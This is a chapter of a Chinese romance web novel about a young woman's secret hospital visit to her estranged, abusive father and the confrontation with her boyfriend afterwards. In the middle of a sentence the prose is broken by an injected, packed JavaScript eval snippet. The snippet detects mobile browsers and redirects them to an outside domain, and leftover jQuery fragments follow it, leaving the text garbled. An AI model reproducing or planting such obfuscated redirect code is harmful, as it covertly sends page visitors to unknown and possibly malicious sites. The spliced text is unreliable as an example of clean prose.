35.生气心疼

作品:《何处棠开[双向暗恋]

    十月,寒露已过,秋意渐浓,只是白日里仍热气不减。


    池宛棠在国庆假期最后一天的午后,坐车独自返回宁江,没有告诉何斯复。


    她按照先前堂哥池涛发来的地址,从高铁站出来打车直奔六院,在附近超市买了水果和牛奶。


    六院像是刚建成不久,设施很新,门诊楼气派十足。


    从急诊旁的小路穿过,没多远就到了住院部,这里很静,神色疲乏的家属来来往往,电梯极慢,她耐心等着。


    来到五楼,池宛棠找护士确认了房号,她正站在VIP病房前给自己做着心理建设,门却冷不丁从里面打开。


    一个小女孩奔出来,直愣愣撞进池宛棠的怀里,手上握着的刮刀和画笔划破了水果袋,苹果散落一地。


    “对不起大姐姐!我不知道外面有人!不是故意的!”


    稚嫩的声音引起房里几人的注意,池宛棠下意识蹲身,埋头将苹果捡进另一个完好的袋子。


    高跟鞋的“哒哒”声传来,一个打扮时髦的妇人站定在病房门口,弯身捡起掉落的水果递给宛棠。


    “小棠,好久不见。”


    小女孩也捧着滚远了的苹果返回,放进敞口的塑料袋内,再次同她道歉,“对不起哦大姐姐,你没事吧?”


    房内有人询问:“怎么了莉?小蕊摔了?”


    “没事儿。”


    周莉扬声回话,顺手将房门掩上,牵起那个机灵可爱的小姑娘,对池宛棠道:“你还没见过她吧,我女儿,池蕊。小蕊,叫姐姐。”


    宛棠低头去看这个名叫池蕊的女孩。


    她穿着可爱的洋装皮鞋,头上扎两个俏皮的马尾,戴着精美的发卡,正仰脸好奇地望着她,圆圆的大眼睛和池宛棠的有几分神似,笑起来一样是弯弯的月牙,盛满了纯真。


    “姐姐你好!”


    池宛棠看见了她身后背着的小画板,“你在学画画吗?”


    池蕊重重点头,“爸爸说我画画很有天赋!”


    宛棠垂眼看着她小手里攥着的画笔,还有那脸上似曾相识的骄傲自得,不自觉笑了,声音里有些难察的苦涩,“以前,我爸爸也这么说过。”


    “那你现在长这么大,肯定很厉害咯?”


    池宛棠摇摇头,没有再回话,周莉接过她手里的东西堆放在门口,“他前天刚动了手术,今天状态好转些,刚睡下。”


    她只隔着门上的玻璃小窗看了几眼。


    上次见面是什么时候?


    池宛棠记不清了。


    只觉得池建君瘦了很多,年逾五十,他的鬓边添了霜,眉间几道深深的纹路,两颊也凹陷进去,脸色很差,透着不健康的蜡黄,早没了她记忆里父亲的神采。


    今天天气不好,窗外没有阳光进来,室内晦暗阴沉,就连床头放着的花都了无生气。


    她挪开眼,对周莉道:“那拜托你转告,我来过了。”


    “着急走吗?他有些事要交代给你,聊聊?”


    医院附近有个小型商场,池宛棠和周莉来到一楼的快餐店。


    石秋刚好从隔壁的粥店出来,探身打量许久,确定没认错,才拿出手机给何斯复发了语音:“我好像看见你家棠棠了。”


    他秒回了信息,「?」


    紧跟着又发一条,「宁甜不是要生了?你跑哪去了?」


    石秋走近快餐店,她们就坐在靠窗的位置,绝错不了。


    “我就在六院儿门口买粥啊!看得真真儿的!跟一个女的还有个小孩儿吃汉堡呢!”


    「不可能。」


    石秋拍了图过去,又补上一刀,“怎么的,你不知道她回来?”


    何斯复翻出和池宛棠的聊天记录,午休时她发来一条信息:「男朋友,今天下午我不带手机哦,死磕文化史,回宿舍再打电话,爱你。」


    石秋久不见他回信儿,又跑去水果店挑了些葡萄橙柚,返回粥店取走他方才订好的餐,再去看快餐店,靠窗坐着的几人已经走了,前后不过半小时。


    “人都走了,我回去给媳妇儿送饭了。”


    「嗯。」


    *


    池宛棠退掉了晚上回应城的车票,和周莉结束谈话,她在医院门口随便乘了辆公交,在市内兜兜转转,直到终点站下车,她才发现自己已经身在城北。


    车站出来转个弯,步行约莫五分钟,她来到了城北护城河那座老桥,水泥桥面坑坑洼洼,护栏钢筋裸露在外,它静静地矗立在河上,守护着两侧城墙残垣。


    桥对岸有一片四季常绿的松树林,围起了又宽又长的花岗岩步道。


    池宛棠过了桥,沿着步道,来到松树林前的广场,这里有一座巨大的影壁,她坐在影壁旁的石墩上,看着广场对面隶属幸福街道的小花园住宅区。


    她幸福和痛苦的源头。


    阴天,大风,傍晚时分的广场上几乎没有人,但她依稀记得这里曾经的热闹喧嚣。


    跳广场舞的大爷大妈,奔跑尖叫着的男孩女孩,而她,永远都只是个为了躲避现实呆坐这里的看客,就像现在一样。


    她突然又想到了池建君,从前他高大壮硕仿佛恶魔一般,挥舞的拳头将她一次次砸进梦魇里,而现在,他也不过就是个躺在床上浑身插满管子,形容枯槁生活不能自理的老头儿。


    父亲,于池宛棠而言,是个只存在于过去的名词。


    很久以前,不喝酒的时候,池建君会带她去游乐园抓小鱼,会做她爱吃的蛋饼和面条,会带她去图书城不厌其烦地等上几个钟头,也会陪她在庭院里晒太阳,任她趴在膝头耐心地给她掏耳朵……


    而她的妈妈,起初也是个温柔的守护者。


    被男生欺负,李妗竹会跑去学校替她出头;深夜高烧,李妗竹一个人在大雪天里骑车带她挨个跑医院找急诊;初来例假,李妗竹欢天喜地买来卫生巾,一边耐心教她怎么用,一边安抚她见血的慌乱……


    太多细枝末节,现在想来,明明一开始,都还是好好的。


    人类的情感真是复杂,池宛棠不奢求她的父母继续爱她,却并不代表她不渴望。


    曾经的幸福温暖躲在记忆深处,遥远,却也真实存在过,后来他们亲手把它摧毁,而一边痛苦一边怀念的人只有池宛棠。


    十月的秋风不那么萧瑟,却也刮得人脸生疼。


    打开手机,列表里除了学校的群消息没有人找她,何斯复也难得听话,真的没有发来信息扰她。


    她下划,再次找到和李妗竹的对话框,上次在檀衍村,池宛棠将发出的消息撤回后她毫无反应,问都不曾问过。


    犹豫再三,她再次编辑了信息发送,不敢坐在原地等,于是宛棠查好路线,几度转车回到了松间区。


    *


    何斯复下班后开车返回洋房,不出他所料,一楼房间的灯正亮着。


    他没有立刻下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629705|152405||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    车,和池宛棠发了消息:「在哪?」


    她很快回复,一切如常,「刚到宿舍,准备去吃晚饭啦,你呢?下班了吗?今天是住公司还是回公寓呀?」


    看出了她的试探,何斯复磨着机身边沿,沉思良久,「回洋房,公寓停电了。」


    他握着手机,手背靠着方向盘,垂眼看着对话框顶部时有时无的“对方正在输入中”。


    何斯复耐心等了许久,余光瞥见屋内的灯灭了,房门传来响动,她的信息也随之送达,「好的,你慢点开,注意安全哦。」


    池宛棠慌慌张张地锁门离开,走前还不忘跟那一园半死不活的雏菊说拜拜,她着急忙慌地打开院门,一抬头,傻在原地。


    何斯复的车就停在正门口,人站在梧桐树下,手机亮着光。


    他定定地看着她,一言不发,树影下何斯复的神情难辨,他抬手锁了车,迈步擦着池宛棠的肩膀走进院子。


    被当场抓包,逃跑显然不是上策。


    她呆站片刻,心虚地将院门重新锁好,转身挪着步子跟在他身后进屋。


    何斯复径直回了卧室,没关门,侧身对着池宛棠,抬手扯开领带慢慢解扣子,褪下的衣服被他随手丢在床沿。


    他迅速洗澡换衣,又去厨房简单煮了两碗热汤面端至客厅,一碗放在池宛棠面前,电视里播着新闻,他埋头吃饭,依旧没说话。


    池宛棠搅着面条,没什么心情吃,咬了半口鸡蛋,撒谎道:“怎么这么快就回来了,我还说去买束花,给你个惊喜呢……”


    他偏头看她一眼,碗推了过去,池宛棠顺势将碗里的细面夹出些给他。


    受不了这种沉默的威压,她仍在没话找话,“我看苗圃里的雏菊有几苗已经快不行了……还救得活嘛?”


    何斯复很快吃完,擦擦嘴,终于答话,“熬不过这个冬天了。”


    池宛棠听了心下一空,埋头将碗里的面塞进嘴里,又含混不清地问:“哎对了,我还看到围墙边有两棵新移来的小树苗,是什么呀?”


    他端着碗离开客厅,头也不回地答:“海棠。”


    宛棠看着他收拾洗碗的背影,发了会儿愣,走内楼梯去二层浴室洗漱干净,再下来时,何斯复坐回沙发,投了部动画电影。


    池宛棠缓步朝他走去,关了客厅的灯,又将落地窗前的纱帘拉上。


    她主动依偎过去,像之前那样跨坐在他的腿间,匀称靓丽的半身遮去他的视线。


    她迫不及待地俯身去吻,凶猛放肆像在发泄什么,手探进他的衣间抚摸,意欲再明显不过,可何斯复只是虚虚揽住她的腰任由她胡作非为,他明明动情,却没有给予回应。


    池宛棠不明白,她退开身子拉开些距离。


    身后荧屏上画面切换,闪烁的光将他们的影子投射在窗帘上。


    明暗间,呼吸缠错,池宛棠那双蓄满无辜的漂亮眼睛眨巴着,拇指抚去何斯复唇边晶亮的水痕,哀声问道:“你也不要我了吗?”


    他闻声抬眼,胳膊锁紧,手掌压着她的背脊用力将她扣进怀里。


    被骗被瞒的气愤瞬间消散,何斯复听出了她声音里的哽咽,盯着她的眼睛问:“出什么事了?”


    池宛棠一声轻叹,她抱着何斯复,身体紧贴着他的,埋首在他颈间压着他一起陷进柔软的沙发。


    哭是哭不出来的,她只觉得好笑。


    “池建君要和我断绝父女关系。”